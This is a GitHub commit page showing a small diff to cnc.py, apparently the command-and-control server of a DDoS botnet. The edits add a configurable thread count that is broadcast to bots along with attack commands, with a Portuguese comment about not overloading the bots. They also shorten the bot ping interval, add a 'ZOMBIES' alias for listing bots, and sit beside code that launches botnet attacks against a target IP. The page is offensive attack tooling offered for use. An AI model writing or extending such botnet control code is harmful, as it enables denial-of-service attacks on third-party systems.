Skip to content

Commit f79f772

Browse files
authored
Update cnc.py
1 parent ce819cb commit f79f772

File tree

1 file changed

+6
-4
lines changed

1 file changed

+6
-4
lines changed

cnc.py

+6-4
Original file line numberDiff line numberDiff line change
@@ -12,6 +12,9 @@
1212
maxAttacks=30
1313
rootUser='root'
1414

15+
# Não aumente de mais as threads (Você vai foder com seus bots)
16+
threads=30
17+
1518
ansi_clear = '\033[2J\033[H'
1619

1720
def color(data_input_output):
@@ -203,7 +206,7 @@ def broadcast(data):
203206
dead_bots = []
204207
for bot in bots.keys():
205208
try:
206-
send(bot, f'{data} 32', False, False)
209+
send(bot, f'{data} {threads}', False, False)
207210
except:
208211
dead_bots.append(bot)
209212
for bot in dead_bots:
@@ -225,7 +228,7 @@ def ping():
225228
for bot in dead_bots:
226229
bots.pop(bot)
227230
bot.close()
228-
time.sleep(5)
231+
time.sleep(4)
229232

230233
def update_title(client, name):
231234
titles = [
@@ -278,7 +281,7 @@ def command_line(client, username):
278281
send(client, '\x1b[3;31;40m' + f"{C}{m} {gray}{desc}")
279282
send(client, '')
280283

281-
elif command == 'BOTS':
284+
elif command == 'BOTS' or command == 'ZOMBIES':
282285
send(client, f'{C}Connected bots: {G}{len(bots)}\n')
283286

284287
elif command == '!R' or command == '!REG' or command == '!REGISTER':
@@ -313,7 +316,6 @@ def command_line(client, username):
313316
time.sleep(1)
314317
break
315318

316-
# send Botnet attack
317319
elif isBotnetMethod(command):
318320
if len(args) == 4:
319321
ip = args[1]

0 commit comments

Comments
 (0)